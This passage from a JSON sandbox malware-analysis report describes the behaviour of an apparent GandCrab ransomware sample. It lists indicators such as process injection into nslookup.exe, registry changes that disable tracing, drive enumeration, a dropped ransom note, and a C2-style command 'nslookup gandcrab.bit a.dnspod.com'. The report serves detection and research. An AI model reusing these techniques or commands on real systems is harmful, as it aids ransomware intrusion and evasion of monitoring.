Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"643f8043c0b0f89cedbfc3177ab7cfe99a8e2c7fe16691f3d54fb18bc14b8f45.exe.bin\" claimed CRC 157938 while the actual is CRC 128631\n \"apaluj.exe\" claimed CRC 157938 while the actual is CRC 128631","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n UnhandledExceptionFilter\n GetStartupInfoW\n VirtualProtect\n GetCommandLineA\n GetProcAddress\n GetModuleHandleA\n LoadLibraryW\n WriteFile\n GetModuleHandleW\n TerminateProcess\n CreateFileW\n Sleep\n GetTickCount","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"\"nslookup.exe\" wrote bytes \"7739eb7679a8ef76be72ef76d62def761de2ea7605a2ef76c868ee7657d1f576bee3ea76616fef766841ed760050ed7600000000ad3709778b2d0977b641097700000000\" to virtual address \"0x74A21000\" (part of module \"WSHIP6.DLL\")\n \"nslookup.exe\" wrote bytes \"4053ed765858ee76186aee76653cef760000000000bf36750000000056cc3675000000007cca36750000000037682a756a2cef76d62def760000000020692a750000000029a6367500000000a48d2a7500000000f70e367500000000\" to virtual address \"0x76FE1000\" (part of module \"NSI.DLL\")\n \"nslookup.exe\" wrote bytes \"92e6ea7679a8ef76be72ef76d62def761de2ea7605a2ef76bee3ea76616fef766841ed760050ed7600000000ad3709778b2d0977b641097700000000\" to virtual address \"0x744F1000\" (part of module \"WSHTCPIP.DLL\")","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"LOCALENAME\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Modifies file/console tracing settings (often used to hide footprints on system)","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLEFILETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"ENABLECONSOLETRACING\"; Value: \"00000000\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"FILETRACINGMASK\"; Value: \"0000FFFF\")\n \"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\"; Key: \"CONSOLETRACINGMASK\"; Value: \"0000FFFF\")","origin":"Registry Access","relevance":5,"id":"registry-30","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"12/66 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"12/66 Antivirus vendors marked sample as malicious (18% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 1300)\n \"\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 1300)\n \"\" wrote 4 bytes to a remote process \"%WINDIR%\\System32\\nslookup.exe\" (Handle: 1300)","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$25","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipv4bot.whatismyipaddress.com\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"GDCB-DECRYPT.txt\" which has been seen in the context of ransomware (Indicator: DECRYPT.txt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Tries to access unusual system drive letters","description":"\"\" touched \"K:\"\n \"\" touched \"L:\"\n \"\" touched \"M:\"\n \"\" touched \"N:\"\n \"\" touched \"O:\"\n \"\" touched \"P:\"\n \"\" touched \"Q:\"\n \"\" touched \"R:\"\n \"\" touched \"S:\"\n \"\" touched \"T:\"\n \"\" touched \"U:\"\n \"\" touched \"V:\"\n \"\" touched \"W:\"\n \"\" touched \"X:\"\n \"\" touched \"Y:\"","origin":"API Call","relevance":9,"id":"api-31","sources":[{"report_type":"sandbox","report_id":"5a6ad0b07ca3e149fc6217e3"},{"report_type":"sandbox","report_id":"5ac36da27ca3e12e424fcdca"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"malware.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"malware.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; File: \"malware.exe\")\n Found reference to API \"LoadLibraryW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00005544.00000000.161069.02B10000.00000004.mdmp, 00000000-00005544.00000002.164910.02B10000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"malware.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"malware.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"malware.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"malware.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"malware.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"malware.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor eax\n ecx in Stream UID: 7161-99-00401120\n Assembly shows XOR instruction xor al\n 25h in Stream UID: 7161-466-0040E6B2\n Assembly shows XOR instruction xor byte ptr [esi]\n ah in Stream UID: 7161-466-0040E6B2\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 7161-218-00408730\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 7161-218-00408730\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 7161-123-00409EDE\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 7161-123-00409EDE","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Calls an API typically used to performs encryption on the data\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Calls an API typically used to decrypt the data\n Matched sigs: Reads the cryptographic machine GUID\n Matched sigs: Contains XOR operation loops [Stream disassembly]","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use asymmetric encryption algorithm","description":"The analysis found public/private key which shows ability to use asymmetric encryption algorithm. Matched sigs: Able to open Windows Event Log (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1573.002","relevance":1,"id":"summary-33","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Calls an API typically used to create a HTTP or FTP session\n Matched sigs: Calls an API typically used to create a new HTTP request\n Matched sigs: Spawned process connects to a network\n Matched sigs: Contacts server","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"malware.exe\")\n file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"kljnut.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"malware.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$26","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"malware.exe\" called \"GetVersionExA\" with parameter 940000000600000002000000f02300000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000943eb074 (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"malware.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"malware.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")\n \"malware.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"AUTHENTICODEENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"malware.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"malware.exe\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"malware.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"malware.exe\")\n Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system network configuration","description":"Found string \"%WINDIR%\\SysWOW64\\nslookup.exe\" (Indicator: \"nslookup\"; Source: \"00000000-00005544-00000BC0-1623138338\")\n Found string \"nslookup gandcrab.bit a.dnspod.com\" (Indicator: \"nslookup\"; Source: \"00000000-00005544-00000C44-245130996228\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-430","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: \"malware.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"External Systems","name":"Detected Suricata Alert - External IP Lookup","description":"Detected alert \"ET INFO External IP Lookup Domain in DNS Lookup (whatismyipaddress .com)\" (SID: 2054170, Rev: 1, Severity: 2) categorized as \"Device Retrieving External IP Address Detected\"","origin":"Suricata Alerts","mitre_attack_id":"T1016","relevance":3,"id":"suricata-4","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"malware.exe\" called \"CreateProcessW\" with parameter \"nslookup gandcrab.bit a.dnspod.com\" - (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"malware.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"\"malware.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter kernel32 (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter kernel32.dll (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter KERNEL32.dll (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter USER32.dll (UID: 00000000-00005544)\n \"malware.exe\" called \"LoadLibrary\" with a parameter WININET.dll (UID: 00000000-00005544)","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$27","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; File: \"malware.exe\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$28","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"malware.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; File: \"malware.exe\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; File: \"malware.exe\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005544.00000002.164910.0040F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Detected NSLOOKUP utility activity","description":"$29","origin":"Monitored Target","mitre_attack_id":"T1016","relevance":3,"id":"target-270","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"Found string \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\" (Indicator: \"mozilla/5.0 (\"; Source: \"00000000-00005544-00000C95-244275807600\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$2a","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"malware.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76850000\n \"malware.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73B20000\n \"nslookup.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 76850000\n \"nslookup.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73B20000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"malware.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75480000\n \"nslookup.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 75480000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"malware.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"malware.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"malware.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"\n \"kljnut.exe\" was detected as \"EP:Microsoft Visual C/C++\" and name: \"Compiler\"\n \"kljnut.exe\" was detected as \"Microsoft Visual C/C++\" and name: \"Compiler\"\n \"kljnut.exe\" was detected as \"Microsoft Linker\" and name: \"Linker\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"malware.exe\" has an executable section named \".text\"\n \"kljnut.exe\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"malware.exe\" has an writable section named \".data\"\n \"kljnut.exe\" has an writable section named \".data\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"malware.exe\" file has an entrypoint instructions - \"call\t0x407c6a,jmp\t0x4030c9,mov\tedi, edi,push\tebp,mov\tebp, esp,sub\tesp, 0x28,xor\teax, eax,mov\tdword ptr [ebp - 8], eax,mov\tdword ptr [ebp - 4], eax,cmp\tdword ptr [0x415320], eax,je\t0x403266,push\tdword ptr [0x41710c],call\tdword ptr [0x40f088],jmp\t0x40326b,mov\teax, 0x407d05,mov\tecx, dword ptr [ebp + 0x14],mov\tedx, 0xa6,push\tesi,cmp\tecx, edx,jg\t0x40341e,je\t0x40340b,cmp\tecx, 0x19,jg\t0x4033a3,je\t0x403397,push\t2,pop\tedx,sub\tecx, edx,\"\n \"kljnut.exe\" file has an entrypoint instructions - \"call\t0x407c6a,jmp\t0x4030c9,mov\tedi, edi,push\tebp,mov\tebp, esp,sub\tesp, 0x28,xor\teax, eax,mov\tdword ptr [ebp - 8], eax,mov\tdword ptr [ebp - 4], eax,cmp\tdword ptr [0x415320], eax,je\t0x403266,push\tdword ptr [0x41710c],call\tdword ptr [0x40f088],jmp\t0x40326b,mov\teax, 0x407d05,mov\tecx, dword ptr [ebp + 0x14],mov\tedx, 0xa6,push\tesi,cmp\tecx, edx,jg\t0x40341e,je\t0x40340b,cmp\tecx, 0x19,jg\t0x4033a3,je\t0x403397,push\t2,pop\tedx,sub\tecx, edx,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"Observed system executable string:\"%WINDIR%\\SysWOW64\\nslookup.exe\" [Source: 00000000-00005544-00000BC0-1623138338]","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"Process \"nslookup.exe\" (UID: 00000000-00006948) was launched with new environment variables: \"FPS_BROWSER_APP_PROFILE_STRING=\"Internet Explorer\", FPS_BROWSER_USER_PROFILE_STRING=\"Default\", PROCESSOR_ARCHITEW6432=\"AMD64\"\"\n Process \"nslookup.exe\" (UID: 00000000-00006948) was launched with modified environment variables: \"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"kljnut.exe\" (UID: 00000000-00006184) was launched with new environment variables: \"PROMPT=\"$P$G\"\"\n Process \"kljnut.exe\" (UID: 00000000-00006184) was launched with modified environment variables: \"PSModulePath, Path, PATHEXT\"\n Process \"kljnut.exe\" (UID: 00000000-00006184) was launched with missing environment variables: \"FPS_BROWSER_APP_PROFILE_STRING, FPS_BROWSER_USER_PROFILE_STRING\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"66f01514b83175aa6a0b8fbe"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"a.dnspod.com\"\n \"gandcrab.bit\"\n \"ipv4bot.whatismyipaddress.com\"","origin":"Network 